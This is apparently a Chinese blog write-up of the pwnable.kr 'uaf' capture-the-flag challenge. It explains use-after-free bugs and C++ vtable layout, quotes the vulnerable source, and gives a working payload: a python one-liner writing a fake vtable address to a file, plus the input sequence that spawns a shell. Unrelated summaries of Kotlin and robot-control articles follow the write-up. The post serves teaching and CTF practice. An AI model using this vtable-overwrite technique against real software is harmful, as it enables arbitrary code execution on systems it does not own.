Pwnable之[Toddler's Bottle](三)--UAF

本文深入探讨UAF(Use-After-Free)漏洞原理及其利用方法,通过C++代码示例展示如何构造恶意数据来覆盖虚函数指针,最终实现任意代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Pwnable之[Toddler’s Bottle]–UAF

UAF,use-after-free
顾名思义,就是释放过内存的重利用。
根据操作系统里的内存分配就知道,当分配给的一个代码释放后,如果再申请的内存大小<=原先内存的时候,内存的指针会优先指向前面被free的内存,即分配原先的内存,从而产生迷途指针。
通过迷途指针进行操作时,会错误地按照释放前的偏移逻辑去访问新内容。
详细可看这个解析:
https://en.wikipedia.org/wiki/Dangling_pointer
查看代码:

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{//父类Human
private:
    virtual void give_shell(){
        system("/bin/sh");//虚函数getshell
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){//虚函数输出信息
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{//继承Human
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();//继承虚函数并调用
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();//继承虚函数并调用
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);//将第一个参数变为整数
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                //以只读的形式打开第二个参数,并给返回0,即将第二个参数执行完的第一个参数个长度的数据放入标准输入。
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;   
}

查看代码后可以很直观地发现一个UAF漏洞,选择3.free将man与woman释放掉,再选择2.after新开内存,这里触发UAF漏洞,给新开内存写入give_shell()地址,再次调用1就会使这里的内存调用give_shell()的地址,就能成功拿到shell去读flag。

再用IDA分析下具体该怎么利用。
这里写图片描述
F5打开发现Women和Man分配的空间长度为0x18也就是24。
对应的是这个代码
这里写图片描述
然后双击man进入man的构造函数。
这里写图片描述
再跟进0ff_401570.
这里写图片描述
在这里发现了give_shell()和introduce()。
说明Man继承Human即使是私有的give_shell()虚函数也会被继承。
gdb看一下内存里0x401570的情况
这里写图片描述
看来地址没有随机化。

调试下看下内存,当执行玩构造函数后。
可以看到m和w对应的虚函数的首地址
这里写图片描述
这里写图片描述
发现woman的地址0x40150在内存0xfe1090。
这里写图片描述
可以清晰地看到,women类对象在内存中按8字节对齐,依次保存了虚表指针(指向类Women的虚函数表0x401550),继承自基类的成员age( 0x15 = 21),继承自积累的成员name(字符串地址为0xfe1078,前往该地址查看内容即为“Jill”)。
那么Man的虚函数表0x4015470也是类似的。

验证了8位后再看这个women的虚函数地址:
这里写图片描述
在前面分析中我们知道0x40117a代表shell(),0x401376代表introduce()。
那么系统如果要调用introduce()是不是要0x401550+8?

在IDA查看:
当输入为1时的 w->introduce();
这里写图片描述

发现调用introduce()就是v13+8和v14+8
而v13和v14刚好是前面由Human类开辟的空间。
OK,验证完毕。只要给把这+8去掉就是shell()的地址位置了。
也就是输入的是0x401550-8=0x401548。当被调用introduce()时+8就是shell()的位置了。
或者用man的也行,0x401570-8=0x401568
构造payload:

python -c 'print "\x48\x15\x40\x00\x00\x00\x00\x00"' > /tmp/jaken
#python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' > /tmp/jaken1223

然后这里有个问题,因为它连续delete了m和w。所以2最好新建两次,防止指向NULL报错。
3->2->2->1 :
这里写图片描述

还是太菜了,一个简单的uaf就写这么多0 0…

涉及知识总结:

1》UAF漏洞的利用:

(1)先搞出来一个迷途指针

(2)精心构造数据填充被释放的内存区域

(3)再次使用该指针,让填充的数据使eip发生跳转。

2》UAF的条件:
(1)用户可以控制该对象的大小

(2)用户空间可以对该对象写入数据

如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。

3》malloc函数做了那些事情。
https://blog.youkuaiyun.com/qq_32635069/article/details/74838187
https://blog.youkuaiyun.com/u011974987/article/details/52290724
//缩小,缩小的那一部分数据会丢失
//扩大,(连续的)
1.如果当前内存段后面有需要的内存空间,直接扩展这段内存空间,realloc返回原指针
2.如果当前内存段后面的空闲字节不够,那么就使用堆中的第一个能够满足这一要求的内存块,将目前的数据复制到新的位置,并将原来的数据库释放掉,返回新的内存地址
3.如果申请失败,返回NULL,原来的指针仍然有效.
这也就是UAF产生的原因。
内存注意细节。
1.不能多次释放;
2.释放完之后(指针仍然有值),给指针置NULL,标志释放完成;
3.内存泄露(p重新赋值之后,再free,并没有真正释放内存);

4》虚函数表的结构
1.虚函数,一旦一个类使用了虚函数,编译器便会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。
2.同时,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。
3.每一个类只有唯一的一个vtable,不是每个对象都有一个vtable,恰恰是每个同一个类的对象都有一个指针,这个指针指向该类的vtable(当然,前提是这个类包含虚函数)。那么,每个对象只额外增加了一个指针的大小,一般说来是4字节。

4.在类对象的内存布局中,首先是该类的vtable指针,然后才是对象数据。
在通过对象指针调用一个虚函数时,编译器生成的代码将先获取对象类的vtable指针,然后调用vtable中对应的项。

参考文章:
https://www.jianshu.com/p/04e963d7e0bc
http://blog.sina.com.cn/s/blog_e23a215b0102whgy.html
https://www.cnblogs.com/p4nda/p/7149870.html
https://blog.youkuaiyun.com/qq_20307987/article/details/51511230

内容概要:本文深入探讨了Kotlin语言在函数式编程和跨平台开发方面的特性和优势,结合详细的代码案例,展示了Kotlin的核心技巧和应用场景。文章首先介绍了高阶函数和Lambda表达式的使用,解释了它们如何简化集合操作和回调函数处理。接着,详细讲解了Kotlin Multiplatform(KMP)的实现方式,包括共享模块的创建和平台特定模块的配置,展示了如何通过共享业务逻辑代码提高开发效率。最后,文章总结了Kotlin在Android开发、跨平台移动开发、后端开发和Web开发中的应用场景,并展望了其未来发展趋势,指出Kotlin将继续在函数式编程和跨平台开发领域不断完善和发展。; 适合人群:对函数式编程和跨平台开发感兴趣的开发者,尤其是有一定编程基础的Kotlin初学者和中级开发者。; 使用场景及目标:①理解Kotlin中高阶函数和Lambda表达式的使用方法及其在实际开发中的应用场景;②掌握Kotlin Multiplatform的实现方式,能够在多个平台上共享业务逻辑代码,提高开发效率;③了解Kotlin在不同开发领域的应用场景,为选择合适的技术栈提供参考。; 其他说明:本文不仅提供了理论知识,还结合了大量代码案例,帮助读者更好地理解和实践Kotlin的函数式编程特性和跨平台开发能力。建议读者在学习过程中动手实践代码案例,以加深理解和掌握。
内容概要:本文深入探讨了利用历史速度命令(HVC)增强仿射编队机动控制性能的方法。论文提出了HVC在仿射编队控制中的潜在价值,通过全面评估HVC对系统的影响,提出了易于测试的稳定性条件,并给出了延迟参数与跟踪误差关系的显式不等式。研究为两轮差动机器人(TWDRs)群提供了系统的协调编队机动控制方案,并通过9台TWDRs的仿真和实验验证了稳定性和综合性能改进。此外,文中还提供了详细的Python代码实现,涵盖仿射编队控制类、HVC增强、稳定性条件检查以及仿真实验。代码不仅实现了论文的核心思想,还扩展了邻居历史信息利用、动态拓扑优化和自适应控制等性能提升策略,更全面地反映了群体智能协作和性能优化思想。 适用人群:具备一定编程基础,对群体智能、机器人编队控制、时滞系统稳定性分析感兴趣的科研人员和工程师。 使用场景及目标:①理解HVC在仿射编队控制中的应用及其对系统性能的提升;②掌握仿射编队控制的具体实现方法,包括控制器设计、稳定性分析和仿真实验;③学习如何通过引入历史信息(如HVC)来优化群体智能系统的性能;④探索中性型时滞系统的稳定性条件及其在实际系统中的应用。 其他说明:此资源不仅提供了理论分析,还包括完整的Python代码实现,帮助读者从理论到实践全面掌握仿射编队控制技术。代码结构清晰,涵盖了从初始化配置、控制律设计到性能评估的各个环节,并提供了丰富的可视化工具,便于理解和分析系统性能。通过阅读和实践,读者可以深入了解HVC增强仿射编队控制的工作原理及其实际应用效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值